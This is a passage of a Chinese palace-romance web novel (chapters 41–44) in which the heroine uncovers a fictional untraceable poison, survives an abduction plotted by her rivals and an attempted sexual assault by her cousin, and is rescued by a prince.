“我们要寻一种药,此药无色无味,融于汤水,事后验不出痕迹。” 巫医骨链一顿,嗓音干涩:“不显药…你们,不是寻常买家。” “是。” 巫医缓缓抬眼,目光扫过严阵以待的朱、顾二人,最后落在周妙雅脸上,开口道:“此药千金不换,需以同等之物交换。” 周妙雅语气果断:“所需何物?” 巫医身体前倾,用枯瘦的手指指向她:“需一味特殊的药引,少女心头血,三滴,入药方成。” “不可!”朱弘毅与顾凌云齐声喝止,朱弘毅一步上前,已将周妙雅完全挡在身后,眼神冷冽。 顾凌云的手已按在腰间软剑上:“换个条件。” 巫医却置若罔闻,目光只盯着周妙雅。 周妙雅看着巫医那诡异的眼神,又看了看身前两人紧绷着护卫的姿态,心中念头却异常清晰,这是最快能拿到证据的方法。 她深吸一口气,从朱弘毅身后走出,声音不高,却掷地有声:“可以,就用我的。” “妙雅,不行!”朱弘毅用力抓住她的手腕,疼的她微微蹙眉。 周妙雅抬眸看向他,眼神决绝,在他耳边轻声道:“无妨,这是最快拿到证据的方法。” 说罢,她挣开他的钳制,转向巫医,坚定道:“如何取血?” 巫医咧开嘴,露出一口被染黑的牙齿,指了指一旁石台上的黑陶碗:“掌心向上,置于碗口。” 周妙雅依言上前,朱弘毅与顾凌云寸步不离,周身杀机隐伏。 巫医取出一把骨刀,刀刃锋利,他抬起骨刀,嘴里念着低沉晦涩的咒语。 只见突然刀光一闪,骨刀瞬间落下,在周妙雅掌心划过。 她忍着钻心刺骨的巨痛闷哼了一声,血珠哗啦啦滴入陶碗。 巫医口中的咒语声越来越急。 只见他死死盯着碗中的鲜血,脸色骤变,那血在碗底竟隐隐透出极淡的光,凝而不散。 他突然猛地抬头,眼中盈满惊骇:“你!你!…到底…是谁?你的血竟入不了北狄的药,这不可能…不可能…除非是” 话音未落,只见一道寒光迅速闪过。 巫医的话戛然而止,他低头看了看没入自己咽喉的短刃,随即用尽全身力气抬起漆黑空洞的双眸,死死盯着朱弘毅。 他显然不敢相信有人竟敢在此地动手。 朱弘毅抽刃回身,短刃上的血珠喷洒在地,只听得他果断说了一句:“走!” 周妙雅虽不明所以,但反应极快,根本来不及细想,一把抓起陶碗,盖上盖子,塞入怀中。 顾凌云软剑已然出鞘,银光闪处,最近的两名守卫喉间血花四溅。 “一个不留!”朱弘毅冷喝,与顾凌云并肩杀向其余守卫。 石室内剩余的六名守卫显然都是好手,立刻结成阵势围攻而来。 朱弘毅短刃如电,招式狠辣,每一击都直取要害,顾凌云剑走轻灵,专攻敌人防守空当。 “没想到王爷竟有这般身手,倒是让我刮目相看了。”电光火石间,顾凌云唇角微扬,调侃道。 朱弘毅无心恋战,提醒他:“少废话,听。” 石室入口处已传来杂乱的脚步声,外面的守卫显然是已经察觉了屋内打斗的动静。 “速战速决。”顾凌云喝道,软剑一抖,缠住一名守卫的刀锋,顺势一带,那守卫踉跄前扑,被朱弘毅一刀毙命。 就在这时,暗门突然被撞开,十余名守卫蜂拥而入。 为首的是个满脸横肉的壮汉,见状怒吼:“杀了他们。” 朱弘毅与顾凌云背靠着背,将周妙雅死死护在中间。 刀光剑影,短刃与软剑交错,但无奈敌人实在太多,三人被逼的步步后退,终至墙角。 “护住药!”朱弘毅隔开劈来的刀锋,手臂被划出一道血痕。 周妙雅紧紧抱着陶碗,眼看敌人越来越多,心已然提到了嗓子眼。 混战中,之前那个刀疤脸的汉子突然从敌人后方杀出,短刃连闪,瞬间放倒两人,大喊道:“顾爷,走东侧暗道!” 顾凌云瞬间精神大振:“跟我来。” 三人紧随刀疤汉子,朝石室东侧一个隐蔽的通道杀去。 通道狭窄,仅容两人并行,朱弘毅断后,短刃挥舞间又结果了两人。 冲出通道,外头是个荒弃的废院,喊杀震天,十余个乔装打扮的锦衣卫正与敌人在院中激战。 刀疤汉子大喊:“接应到了,往南门撤。” 朱弘毅一把攥住周妙雅的手腕:“跟紧我!” 众人合力向南门突杀,混战中,周妙雅死死护住怀中的陶碗,任凭刀光剑影在身旁闪烁。 朱弘毅始终护在她身侧,短刃所过之处,无人能近她身。 终于冲出南门,拐进错综复杂的小巷,顾凌云打了个呼哨,众人分散撤离,在巷道中七拐八绕, 终是甩开了追兵。 —————— 回到王府时,已是深夜。 周妙雅这才将一路紧紧护着的黑陶碗轻轻置于书案之上,掌心的剧痛也随之袭来。 她垂首,只见粗糙包扎的布条早被鲜血浸透,殷红的鲜血沿着她的指缝滴落。 朱弘毅的目光先落在陶碗上,随即移到她渗血的手掌,眉头瞬间蹙起。 叩门声响起,长安提着药箱安静地走进来,放下后便又无声地退了出去,合拢了房门。 朱弘毅打开药箱,取出干净的白布与一只青瓷药瓶,行至周妙雅面前,低声道:“手。” 周妙雅依言抬腕,将血染的掌心朝上,伸到了他的面前。 他动作极轻,在解开染血的布条时,指尖刻意避开了她的伤口。 他垂着眼眸,神情专注地为她清洗,上药,烛光在他轮廓分明的侧脸投下淡淡的阴影。 周妙雅安静地看着他为自己忙碌,目光不经意间落在他执着白布的手臂上。 半旧的青布衣衫在烛光下显得格外朴素,就在他动作稍大,衣袖牵扯时,她敏锐地察觉到,那破损的布料下,有暗红色的血迹渗出。 她轻声开口,打断了他的动作,“王爷,你的手臂…” 朱弘毅动作未停,只淡淡道:“无妨,先顾好你自己。” “伤口在渗血…”周妙雅语气坚持,用未受伤的手轻轻按住了他正在动作的手臂:“让我看看。” 她的触碰很轻,朱弘毅的手臂瞬间绷紧,抬眸相撞,却见她眼底清亮且固执,不许他躲。 沉默片刻,他终是放下了手中的白布与药瓶。 周妙雅小心地卷起他手臂上的衣袖,一道寸余长的伤口赫然显露出来。 伤口不算深,但皮肉外翻,仍缓缓渗着血珠。 她拿起药箱里另一瓶金疮药,动作轻柔地为他清洗,上药。 朱弘毅垂眸看着她专注的眉眼,她羽睫低覆,在莹白的小脸儿上投下细扇般的影儿。 房间里很静,只余两人清浅的呼吸声。 “今日” 周妙雅仔细地为他的伤口缠上干净的白布,她樱唇轻启,却问不出口… 那巫医的未竟之言,以及朱弘毅骤起的杀意,种种疑问,皆如巨石压在她心头。 朱弘毅接过她的话,声音恢复了平日的冷静:“今日之事,到此为止。那巫医已死,我们已拿到北狄秘药,你且安心查济慈堂案,其他无需多想。” 周妙雅系好布结,抬起头,正对上他深邃的眼眸,那里面似乎藏了太多的事情,她却一点都看不透。 “好。”她终只是轻声应下,不再追问。 他收回手臂,将衣袖放下,遮住了刚刚包扎好的伤口—— 作者有话说:感觉大家不爱看最近走剧情的章节,一会十点放个二更,加速剧情进度[墨镜] 第42章 天光未亮, 周妙雅便已披衣起身。 昨夜书房一别,她几乎未曾合眼。 掌心伤口隐隐作痛,但更让她心神不宁的, 是那只黑陶碗里的秘药, 北狄巫医未尽的话语, 以及朱弘毅讳莫如深的态度。 她一用过早膳,便嘱咐青黛自己要带着那只黑陶碗去济慈堂找王老太医。 王老太医虽年事已高,须发皆白,却精神矍铄。 天色微明时,他便已经在济慈堂忙碌起来。 济慈堂女眷多,又多受了惊吓,王老太医正吩咐着, 给女眷们熬安神的汤药。 他见到周妙雅,目光掠过她包扎的手掌, 并未多问, 只引她去了平日里办公的静室。 周妙雅将黑陶碗推至他面前,沉声道:“王老太医,请看此物。” 王老太医小心接过黑陶碗, 先是就着窗外天光查看碗内残留的药液,又凑近轻嗅, 眉峰渐渐锁紧,摇头道:“此药老夫行医数十载, 竟从未见过。” 说罢,他取出银针探入碗底沾染的药渍, 银针毫无变化。 “正因如此,才需请教王老。”周妙雅说着,又从一旁取过一只密封的陶罐, 打开后,里面是早已干涸发黑的药渣。 “这是文老夫人当日用过的药渣,宁王府的老医官也曾反复验过,并无异状。” 王老太医仔细查验药渣,捻起少许在指间轻搓,又仔细闻了闻,最终还是摇头:“从药渣看,确是治疗心疾的方子,并无不妥。” 周妙雅垂眸,沉思了片刻,她记得巫医临死前说的那句“你的血入不了北狄的药”,心中已然有了方向:“王老,我们该从北狄医书入手,或许能寻得端倪。” 此后数日,静室内的灯火几乎未曾熄灭。 周妙雅与王老太医专挑北狄医书翻检。 这些北狄医书大多以特殊的鞣制工艺制成,上面绘着诡异的符文,文字扭曲难辨。 周妙雅凭借过目不忘的记忆与深厚的绘画功底,将凡是可能与无色无味,验查不出相关的记载一一摘录,临摹。 朱弘毅与顾凌云都来过几次,站在静室外,隔着半开的门扉,看见周妙雅专注的侧影映在烛光里,专注地无暇他顾。 他们都没有进去,只吩咐下去,一切用度务必周全,不得打扰。 第十日午后,王老太医捧着一卷格外古旧的羊皮纸,手指微微发颤:“周女官,你来看这个!” 周妙雅立刻凑过去。 羊皮纸上绘着诡异的符文,旁边是密密麻麻的北狄文字,下方配有简略的汉字提示。 “这是北狄宫廷的秘药记载?”周妙雅仔细辨认着那些扭曲的文字。 王老太医难掩激动,指着其中一段,指尖轻颤:“不错,此物名为逍遥散,据载无色无味,入水即融。少量服用可令人神智昏聩,产生幻觉,中量服用可致人长睡不醒,若剂量足够,半个时辰内便能悄无声息取人性命。最可怕的是,事后查验,无论是银针探毒,还是查验药渣,都寻不到丝毫痕迹。” 周妙雅的心头骤紧:“可有破解之法?” 王老太医的手指向下移动,点在几行更小的注释文字上:“记载说,此药虽在药渣中不留痕迹,但其性阴寒,药力溶解后,极微小的颗粒会随着时日推移,慢慢附着于盛放它的器皿底部,状若细微白晶,非十日不能凝集,且需在特定光线下方能察觉。” 十日…器皿底部… 周妙雅倏然起身,快步走到一旁,捧起那个存放文老太太药渣的陶罐。 她将罐口倾斜,对着窗外射入的日光,仔细查看罐底。 起初,什么都看不到,她调整着角度,眼睛因专注而酸涩。 忽然,一点极其微弱的,几乎可以忽略不计的银白色亮点,倏然闯入了她的视线。 “王老太医!”她声音发紧。 王老太医疾步过来,双手接过陶罐,对着光看了许久,苍老的手指微微颤抖:“是了就是它,细若浮尘,若非刻意寻找,绝难发现。” 两人对视了一眼,皆在对方眼底捕捉到了同样的震惊。 周妙雅立刻捧起那只自鬼巷带回来的黑陶碗,碗中血迹早已干涸,但按照羊皮卷的记载,若真是逍遥散,已过十日之期,此刻碗底也应有凝集的白晶。 王老太医也想起那黑陶碗。 两人一同拿起那陶碗,对着阳光专注而视,果然,也有一样的白晶。 周妙雅小心翼翼地将碗底残渣刮下少许,置于干净的白瓷碟中,又取出文老太太药罐底部刮下的少量白晶,分置于另一个白瓷碟中。 王老太医取出药箱中的烈酒,分别滴落,两种白晶在遇到烈酒时,都产生了极其相似的反应,白瓷碟中微微泛起了一丝几乎看不见的淡蓝雾气,随即消散。 “是同一种东西。”王老太医长吁一口气,语气肯定。 静室内陷入一片沉寂。 证据确凿。 正如周妙雅最初的设想,文老太太并非死于普通的心疾,而是 被人用北狄宫廷秘药逍遥散精心谋害。 能下此毒者,不仅能接触到文老太太的汤药,还能弄到这等隐秘的域外奇毒。 周妙雅垂目凝视着白瓷碟中那粒微尘般的白晶,只觉得一股寒意自脚底升起,顺着脊背一路攀至后颈。 如此冰冷证据背后,究竟藏的是何等缜密到令人窒息的算计,真是好一副蛇蝎心肠! 她想起文老太太临终前紧握着她的手,想起那未及说出口的遗言,想起自己在文家如履薄冰的日日夜夜。 康婧瑶?文毓瑾?还是文家其他什么人?亦或是,牵扯到更深的,与北狄有关的势力? 王老太医面色凝重,他看向周妙雅,低声道:“此事关系重大,需立即禀报王爷与顾大人。” ———— 夜色渐深,文府内宅灯火幽暗,康靖瑶与安和郡主同坐。 安和郡主绞紧手中的帕子,眸中怨毒之气几乎溢出:“嫂嫂,难道就这么算了?那日赏花宴,你我的脸面都被那贱人踩在脚下!如今她既得宁王兄庇护,又有陛下亲封的女官身份,再想动她,谈何容易!” 康婧瑶对镜而坐,铜镜映出了她冷冽的眉眼。 她缓缓放下手中玉梳,声音不高,却透骨生寒:“明的不行,自然来暗的,让她永远消失,才可一了百了。” 安和郡主一怔,随即压低声音问道:“消失?嫂嫂的意思是…” 康婧瑶转过身,目光锐利地看向安和郡主:“你可听说了那日鬼巷之事?北狄的大巫医死了…” 安和郡主点头:“略有耳闻,说是起了冲突…” 康婧瑶唇角勾起一抹冷酷的笑意:“北狄人向来睚眦必报,野蛮凶残,大巫医横死京城,他们岂会善罢甘休?若是让他们知晓,此事与周妙雅脱不开干系…” 安和郡主眸光一亮,复又迟疑道:“可我们如何能驱使得了北狄人?” 康婧瑶眼尾轻挑,声音低冷:“何须驱使?我们只需不慎把风声透露给应该知道的人,北狄人在京城怎会没有耳目?届时,他们自会替我们去找周妙雅算账。” 她站起身,走到窗边,望着窗外沉沉的夜色,声音愈发阴冷:“不必在京城动手,不日便是文老太太的忌日,以那贱人的性子,她定然会孤身前往京郊墓地祭拜,届时荒郊野岭,路途荒僻,若是遇上些山匪…尸骨无存,也怪不得别人。” 安和郡主立刻会意,脸上露出残忍的兴奋:“嫂嫂是说…让北狄人假扮成山匪,在半路将她掳走?” 她想象着那个画面,舌尖舔过唇角,语气变得阴毒:“一个柔弱女子落入那些蛮族手中,下场可想而知,便让那些蛮族先玷污了她,再杀了她,弃尸荒野,到时候,就算宁王追查,也只能查到是北狄人报复,与我们何干?” 康婧瑶回身,眸底寒光流转,尽是算计:“不错,此事需做得干净利落,绝不能留下任何与我们相关的痕迹,消息需经几道手,最终要做得像是北狄人自己探得的。至于具体的时机和路线…我们只需稍作打点,自然能让她一步步踩进死局。” 烛影摇红,二人低声密语,细细打磨着这绝妙的毒计。 她们仿佛已经看到周妙雅凄惨的下场,想象着北狄人对她先奸后杀,心中充满了扭曲的快意。 然而她们并未察觉,就在此时,窗外一道黑影倏然掠过,未带起丝毫风声… ———— 文老太太的忌日,在一个阴沉沉欲要飘雪的冬日。 铅云低垂,天色灰冷,偶有凉风卷起枯枝,萧瑟逼人。 周妙雅向朱弘毅告了假,只带了青黛一人。 二人乘坐一辆朴素低调的马车出了京城,往西郊的墓园行去。 朱弘毅并未多言,只深深看了她一眼,嘱咐了一句早去早回,又暗中增派了四名护卫随行,扮做寻常仆从,混在车驾前后。 车内,周妙雅抱一篮香烛纸钱,神色平静,眸底的哀思却浓得化不开。 文老太太的死因已初现端倪,下一步便是要查清楚是否是康婧瑶下的毒,她此刻需要证据。 这…又将是一场硬仗。 青黛在一旁默默陪着,屏息不敢多言,心口却莫名发紧。 她总觉得今日的气氛有些不对,连拉车的马儿都显得有些焦躁。 车行了一个多时辰,渐渐驶入西郊山道,两旁树木渐密,官道变得狭窄起来,此地人烟稀少。 周妙雅沉浸在回忆中,并未察觉到异常,倒是外面跟随的护卫头领,眉头越皱越紧。 太静了,这段路静得有些反常。 “加快些速度。”护卫头领低声吩咐车夫,同时抬手向其他护卫打了个戒备的手势。 就在马车即将驶入密林弯道的那一刹那,异变陡生。 数支利箭从两侧林中射出,直指马车而来…—— 作者有话说:感觉大家不太喜欢最近走剧情的章节,今天多放一张,加速走剧情的进度 第43章 “有埋伏!护住姑娘!”护卫头领厉声大喝, 刀光如电,劈开两支弩箭。 只听“咻”地一声,一名护卫肩头中箭。 拉车的马匹突然嘶鸣起来, 前蹄扬起, 一支箭钉入了它的脖颈, 致使马车剧烈颠簸。 青黛被甩的撞向车壁,吓得脸色惨白,还不忘喊道:“姑娘小心!” 周妙雅心头骤紧,强定住神,慌忙撩开车帘望去,只见十余名蒙面彪形大汉自林中冲出,与王府护卫厮杀在一起, 这些人出手狠辣,招式怪异。 王府护卫虽勇, 但对方人多势众, 转眼间便落了下风。 霎时间,两名蒙面人突然趁机扑向马车。 其中一人用生硬的大晟官话低吼道:“把她拖出来!” 打斗间,车夫整个人被掀倒, 瘫软在地。 青黛鼓起勇气护在周妙雅面前,抓起矮凳阻挡, 无奈如蜉蝣撼树,矮凳被一刀挑飞。 周妙雅为自保, 死死攥住袖中的金簪。 就在蒙面人那只粗粝的手探进车厢的一瞬,一名王府护卫突然奋力摆脱纠缠, 持刀劈来,逼退了那人。 但另一个蒙面人却从侧面闪电般切入,一掌劈在了周妙雅的颈后。 一瞬间, 她眼前骤黑,身子软倒,意识被强行抽离。 也不知过了多久,周妙雅在一阵剧烈的颠簸中惊醒。 后颈剧痛,双眼被黑布蒙住,嘴里塞着布团,双手被粗粝的麻绳反绑在身后,被横放在马背上。 坚硬的马鞍硌得她生疼,耳边是急促的马蹄声与听不懂的蛮语。 是北狄人… 她咬紧布团,强迫自己冷静下来,仔细分辨。 马蹄声杂乱,少说也有五六骑,他们似乎在赶路,方向难辨。 不知过了多久,马速慢了下来,她被人粗鲁地拽下马,推搡着,踉跄地走进了一间屋子。 脚下踩着厚重的灰尘与干草,空气里有陈旧的霉味和残旧的香火气,像是一座荒村废庙。 她被粗暴地推倒在地,背后撞上了冰冷的墙壁,墙皮似乎有些剥落,有碎屑簌簌往下掉落的声音。 他们随即用麻绳把她的脚也绑了起来,勒的她双腿发麻。 不远处,几个北狄人用她听不懂的语言激烈地争论着,语气中裹满了愤怒与仇恨。 他们应当是正在商议如何处置她。 因为被蒙着眼堵着嘴,四下里的黑暗伴随着恐惧漫上心头,周妙雅用力挣扎了一下,手腕和脚踝被粗糙的麻绳磨得火辣辣地疼。 就在这时,破庙外突然传来一声凄厉的惨叫,紧接着是簌簌射箭的声音,随后是兵刃碰撞的声音。 周妙雅能感觉到庙外传来的声音激烈,此起彼伏,但不过一瞬的功夫,便骤然停歇。 庙内重新陷入一片死寂,比先前更森冷的死寂… 周妙雅的心提到了嗓子眼,刚刚发生了什么?是王府的护卫追来 了吗? 脚步声逼近,不疾不徐,朝着她走来。 不是北狄人那种沉重杂乱的步子,这脚步声更轻,更稳,带着一种让她毛骨悚然的熟悉感。 那人在她面前停下。 眼睛上的黑布被猛地扯落。 突如其来的光线让她眯起了眼,模糊的视线渐渐清晰,映入眼帘的,是文毓瑾那张俊雅却布满阴鸷与疯狂的脸。 他穿着一身墨色劲装,更衬得面色白皙,眼神却像淬了毒的刀子,死死钉在她身上。 他身后,站着数名面生的冷峻护卫,手持弓弩与刀剑,破庙地上,那几个北狄人早已气绝,身上插着数支弩箭,鲜血汩汩流出,浸湿了干草。 不是救援,是另一群豺狼。 周妙雅的口中被塞着布团,发不出声音,只能用那双含泪的眸子,死死地,充满了恨意地瞪着他。 文毓瑾俯下身,靠得极近,他身上那熟悉的熏香味道,令人作呕。 他伸出手,指尖冰凉,带着令人毛骨悚然的怜惜,缓缓划过她因惊惧而微微颤抖的脸颊。 他嗓音低哑,扭曲的温柔中带着癫狂:“雅儿,我找你找得好苦…你藏在那宁王府,让我抓不住,摸不着…你看,上天还是眷顾我的,绕了这么大一圈,最终,找到你的人,还是我。” 他指尖一路下滑,带着冰凉的占有欲,似在宣誓主权。 下一秒,那看似轻柔的手指猛地攥紧了她大衫的衣领。 “刺啦。” 布帛被强行撕裂的声音瞬间划破死寂,周妙雅只觉肩头到胸前一凉,大片雪白肌肤骤然裸露在微冷污浊的空气里,也暴露在文毓瑾骤然灼热,充满占有欲与毁灭欲的视线之下。 屈辱,恐惧和绝望瞬间涌上头顶,泪水终于承受不住重量,汹涌地滚落。 文毓瑾看着她泪如断线,仿佛又找回了那个在文府被他堵在藏书楼,堵在月洞门,堵在回廊下,任他欺负又不敢反抗的娇柔模样。 他最喜欢看她哭的样子了,她哭起来柔柔怯怯,梨花带雨,格外好看… 她这辈子的眼泪,就应该只为他而流,她合该被他锁在深院,日日哭给他看… 他看着她娇怯地模样,低低地笑了起来,笑声里带着病态的愉悦:“恨我?那就恨吧,我宁愿你恨我入骨,也要你眼里只有我。” 话音未落,他另一只手已急急探出,粗暴地攥住那早已碎裂的衣襟,猛地一扯,欲将她胸前最后那点遮蔽也撕个粉碎。 周妙雅的泪水顺着脸颊无声地滚落,身体因屈辱与寒冷打着颤,可她的眼睛仍死死钉在文毓瑾的脸上,不肯移开半分。 文毓瑾被那她的目光盯得发毛,嗓音陡然拔高,扭曲而癫狂:“为什么?为什么就是不肯乖乖做我的妾?啊?是我待你不够好?文家给你的庇护还不够吗?” 他的手指突然用力,狠狠掐住她纤细脖颈,几乎要将她捏碎:“你宁愿跳崖,宁愿去宁王府做个不清不楚的女官,也不肯留在我身边?你说!这是为什么?” 周妙雅口中塞着布团,她发不出声,无法回答,只能用更加冷森,憎恶的眼神回应他。 文毓瑾被那目光激怒,彻底失了控,他猛地俯身,鼻尖几乎贴上了她,灼热呼吸喷在她脸上,言语讥讽道:“你以为宁王是什么良人?啊?你以为朱弘毅会娶你做他的正妃?痴心妄想!” 他吼声震天,在破庙中回荡:“你醒醒吧周妙雅,你是什么身份?一个来路不明的孤女,他朱弘毅是什么人?当今圣上的亲弟弟,堂堂亲王,他就算再宠你,也不过是把你当个玩物,图一时新鲜,等他腻了,你的下场只会比在文家更惨!” 文毓瑾看着她眸中仍旧是不变的倔强,怒极反笑,笑容狰狞扭曲:“不肯跟我?好,好得很!那我今日就彻底断了你的念想,将你打上我的烙印,成了我的人,看宁王还会不会要你这残花败柳!” 说着,他眼中狠厉之色翻涌的更浓… 他猛地发力,本就残破的衣襟被彻底撕开,另一只手顺势而下,带着侵占的意图向下探去… 周妙雅手足被缚,仍咬紧布团,拼死扭动挣扎,可这份抵抗落在男人眼里,反倒成了撩拨**的扭捏。 就在文毓瑾的手即将触及周妙雅肌肤的刹那… “砰!” 破庙腐朽的木门在巨大冲击力下轰然炸裂,木屑纷飞。 一道玄色身影挟着凛冽的杀气卷入庙中,剑光如匹练,直刺文毓瑾后心。 文毓瑾骇然变色,本能地向前扑倒,狼狈地滚向供桌,剑锋擦肩掠过,削下一片衣料,溅起一串血珠。 朱弘毅并未追击,身形一闪已护在周妙雅前方,他反手一剑,精准地挑断了束缚她双手双脚的麻绳,随即解下自己的玄色披风,稳稳地罩住了她只剩小衣的身子。 整个过程快如电光石火,周妙雅只觉身上一暖,那带着他体温的披风将她紧紧包裹,隔绝了所有不堪的视线。 “王爷…”她哽咽着扯出嘴里的布团,声音破碎不堪,双手死死攥住披风前襟,泪水决堤而下。 文毓瑾按住肩口涌出的鲜血,勉强站稳,眼见朱弘毅如同守护珍宝般把周妙雅挡在身后,眼中闪过一丝嫉妒与疯狂,随即强撑着冷笑道:“宁王殿下真是好兴致,竟亲临荒郊野岭演这出英雄救美?” 朱弘毅持剑而立,面色冰寒,他眼风扫过地上北狄人的尸体,最终落在文毓瑾身上。 他剑尖微转,指向那些北狄人的尸体:“文状元,勾结北狄,戕害陛下亲封的女官,图谋不轨,按我大晟律,该当何罪?” 不等文毓瑾开口,朱弘毅的语气竟又冷的几分:“文状元是觉得,首辅大人女婿这个身份,足以让你藐视王法,还是认为文家,已经可以一手遮天了?” 文毓瑾呼吸一窒。 他强撑着气势,色厉内荏:“王爷何必血口喷人!下官只是偶然路过,见北狄匪人作乱,出手相救自家表妹罢了。” 朱弘毅唇角勾起一抹极冷的弧度,“哦?那文状元方才撕扯周女官衣衫,也是出手相救?” 文毓瑾顿时语塞,脸色青白交错,半个字也吐不出来。 朱弘毅向前一步,气势逼人:“本王今日不杀你,非是不能,而是不屑。” 他目光如炬,仿佛能洞穿人心:“你的命,本王暂且记下,滚回去告诉你背后的人,日后周女官但凡少一根头发,这笔账,本王会十倍算在文家头上。” 他收起长剑,语气恢复平淡,却令人胆寒:“滚。” 文毓瑾双拳死攥,肩头血珠渗出,却不敢再发一言。 他狠狠瞪了一眼被朱弘毅护得严严实实的周妙雅,眼中充满了不甘,却只能咬牙喝道:“我们走!” 带着残兵败将,文毓瑾狼狈地逃出了破庙。 待脚步声远,朱弘毅才缓缓回身,只见周妙雅裹在他的玄色披风里,小脸苍白,泪痕未干,脆弱得仿佛一碰即碎,却又透着惊人的坚韧。 他伸手拂去了她脸上残泪,柔声道:“没事了。” 周妙雅抬起泪眼,像只受惊的小鹿般望着他。 千言万语堵在胸口,最终只化作一声带着无尽委屈与后怕的轻唤:“王爷…”—— 作者有话说:今天九点还是有二更! 以后都是20:00一更,21:00二更了 第44章 朱弘毅打横抱着周妙雅, 一路朝着停在不远处的马车走去。 他步履稳健,手臂坚实有力,将她牢牢圈在怀中。 周妙雅蜷作一团偎在 他怀里, 双臂紧紧环着他的脖颈, 脸颊紧贴着他玄色的外袍, 衣下温热的胸膛与沉稳的心跳,她隔着布料亦能一分不落地感知到。 她自己的心却跳得又急又乱,如同揣了一只受惊的兔子,方才的恐惧与绝望尚未完全散尽,此刻又被这突如其来的亲密搅得心慌意乱,脸颊耳根都烧得滚烫。 她一动不敢动,连呼吸都放轻了。 青黛和长安隔着几步远, 安静地跟在后面。 青黛望着王爷抱着姑娘的背影,忧惧与后怕仍挂在眉梢, 但瞧见姑娘被这般稳妥地护着, 眼底又悄悄漫上一丝欣慰。 她用手肘轻轻碰了碰身旁的长安,低声道:“王爷…还是头一回见他待谁这样。” 长安抱着从马车上取来的备用薄毯,闻言, 脸上虽没什么表情,眸底却透着早知如此的了然:“府里以前何时有过女眷?王爷心中有数。” 语罢, 他顿了顿,又补了一句:“今日之事, 烂在肚子里。” 青黛连忙点头,不敢再多言。 到了马车边, 朱弘毅步履未停,直接抱着周妙雅踏上了马车,俯身进了车厢。 他将她轻轻放在铺着软垫的座位上, 自己则在她对面坐下,气息丝毫未乱。 周妙雅忙把他那件玄色披风又拢紧几分,半张脸都埋进貂毛里,只露出一双犹带湿气,潮润润的眸子,怯怯地不敢抬眼看他。 朱弘毅开口,声音比平日更低沉几分:“可有哪里不适?” 周妙雅轻轻摇头,声若游丝:“没…没有,多谢王爷。” 车厢内陷入一片寂静,只听得车辙辘辘前行之声。 她悄悄抬眸,睫羽微颤,飞快地瞥了他一眼。 男人端坐,闭目养神,无波无澜,看不出什么情绪。 今日种种,惊心动魄,皆因他化险为夷。 这份护佑,太重,也太…让人心乱。 朱弘毅虽闭着眼,脑海中却在飞速梳理今日之事。 然而刚刚怀中那片刻的温软与轻颤,却像一颗投入心湖的石子,激起涟漪,扰乱了惯常的冷静自持。 马车在沉默中驶回了宁王府。 朱弘毅打横抱着她下了车,竟径直朝府门而去。 “王爷…会被人看到…”她小声惊呼,指尖无措,紧紧攥住他胸前衣襟,纤纤身躯在他怀里轻轻地挣扎了几下。 他声音不高,语气中却含着不容抗拒的威势:“别动。” 于是青黛和长安就眼睁睁看着他们家王爷,抱着裹得严严实实的周女官,一路穿过月洞门,经过抄手游廊,径直朝暖阁方向走去。 所过之处,下人们纷纷垂首避让,待主子走过,才敢悄悄抬眼,交换着惊诧的眼神。 青黛与长安跟在后面,看着前面那个高大的背影,以及男人怀里几乎不见身影的娇小人儿,忍不住互递了一眼。 青黛无声地张了张口:“一路抱呢…” 长安轻咳一声,示意她收敛些,自己却亦没忍住,又多瞟了两眼。 暖阁内灯火如昼,朱弘毅抱着人绕过屏风,行至榻前,俯身将人轻轻放在锦被上。 周妙雅陷在柔软的锦被里,仰头望他,眸光微颤。 “好好歇着。”他俯身,指尖温柔,替她拨开了额前的碎发,轻轻拂去了面上的泪痕。 随即转身低唤:“青黛。” 候在门外的青黛应声掀帘而入,抬眼便见姑娘蜷卧床头,王爷长身立于榻前,烛火将两道影子投在墙上,几乎叠作一处。 “好生照看。”朱弘毅交代完这句,便转身离去。 周妙雅屏息望那道背影转过屏风,这才缓缓吐出一口气。 指尖不自觉地抚过方才被他抱过的地方,布料上还留着些许余温。 青黛轻手轻脚地凑过来,眼睛亮晶晶的:“姑娘…” “去打水吧。”周妙雅轻声打断她,耳根微微发烫。 廊下,长安快步跟上朱弘毅。 “王爷,文毓瑾今日带的是他私下养的那批死士,约莫十二三人。” 朱弘毅脚步不停:“一个不留。” “是。” ———— 青黛备好了热水,撒上晒干的香花瓣。周妙雅褪下那身沾染了尘土与恐惧的衣衫,将自己深深浸入温热的水中。 水汽氤氲,如梦似幻。 她用力擦洗着手臂,肩颈,凡是曾被文毓瑾触碰过的地方,皆被她擦至肌肤生红,似要洗去所有令人作呕的记忆与触感。 热水带来了些许慰藉,让她紧绷的心神渐渐松弛下来。 朱弘毅亲自端着安神汤来到暖阁外间,却见暖阁里面静悄悄的,不见青黛的身影。 他犹豫了一瞬,想着将汤碗放下便走,遂抬步踏入。 里间的浴室水声淅沥,屏风后,一道朦胧的身影在蒸汽中若隐若现,乌黑的长发湿漉漉地贴在光洁的肩颈上,水珠沿着细腻的肌肤滚落。 他脚步戛然顿住,呼吸亦随之一滞。 几乎是同时,屏风后的人影似有所觉,受惊般倏地沉入水中,只留下一圈急促的涟漪与残花淡香在湿雾里轻晃。 朱弘毅立刻背过身,耳根暗涌着微红的热意。 “王…王爷?”青黛恰在此时抱着换洗的衣物回来,见到立在室内的朱弘毅,吓了一跳。 朱弘毅将手中的安神汤往青黛手里一塞,语气如常,脚步却比平日快了几分:“服侍姑娘用下。” 说罢,不等青黛回应,便快步离开了暖阁。 青黛捧着尚有余温的汤盏,怔怔望着王爷那近乎落荒而逃的背影,随即又茫然地转向屏风处。 周妙雅的声音从屏风后传来,带着一丝被水汽浸润的惊疑,轻颤着:“青黛,方才…外面是谁?” 青黛忙绕进去,将汤碗放在一旁的小几上:“是王爷,来给您送安神汤的,见奴婢不在,就…就进来了片刻,已经走了。” 周妙雅闻言,整个人又往水里缩了缩,脸颊绯红,不知是水汽熏的,还是羞的,花瓣被荡得轻轻打转。 水波微漾,她半张脸埋进水里,只露出一双湿漉漉的眸子,在水面怯怯闪动。 青黛挽起袖子,拿起澡豆,沿她的臂弯轻轻打圈,悄声笑道:“姑娘是没瞧见,方才王爷走得那样急,险些被门槛绊了个趔趄,奴婢跟随王爷多年,头一回见他这般失态。” 周妙雅没接话,耳尖却悄悄红了。 青黛见她不语,便又凑近了些,压低声音:“今日王爷一路将姑娘抱回,府里多少双眼睛都看着呢,王爷竟一路将您抱到床上。” 她话音未落,自己却先红了脸:“从前只当王爷不近女色,没想到…” “别胡说。”周妙雅轻声打断,声音闷在水里,却掩不住耳尖那抹绯色。 